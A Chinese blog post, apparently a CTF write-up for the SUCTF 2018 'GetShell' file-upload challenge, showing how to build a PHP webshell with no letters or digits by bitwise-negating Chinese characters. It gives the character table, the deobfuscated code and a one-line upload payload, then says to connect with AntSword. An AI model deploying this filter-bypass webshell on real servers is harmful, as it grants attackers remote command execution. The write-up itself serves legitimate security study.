本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [SUCTF 2018]GetShell
文件上传题目

发现在第五个之后,会对字符进行过滤,我们上传的时候抓包:

经过测试,发现字母、数字都被过滤了。典型的无字母数字webshell
+ | ^ % > < ' 等字符被过滤了,所以我们只能使用取反 ~ 绕过
测试得知,中文不会被绕过,所以我们需要使用中文取反
这里总结一下使用中文取反的汉字:

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?phpecho ~"区"[1].PHP_EOL;
 echo ~"冈"[1].PHP_EOL;
 echo ~"勺"[1].PHP_EOL;
 echo ~"皮"[1].PHP_EOL;
 echo ~"针"[1].PHP_EOL;
 
 echo ~"码"[1].PHP_EOL;
 echo ~"寸"[1].PHP_EOL;
 echo ~"小"[1].PHP_EOL;
 echo ~"欠"[1].PHP_EOL;
 echo ~"立"[1].PHP_EOL;
 
 
 | 
根据以上这些汉字,我们就可以构造出我们想要的命令执行了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | <?php$_=[];
 $__=$_.$_;
 $_=($_==$__);
 $__=($_==$_);
 
 $____ = ~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];
 $___ = ~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];
 
 
 $____($$__[_]);
 
 
 | 
payload:
| 1
 | <?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
 | 
直接蚁剑连接即可
无字母数字webshell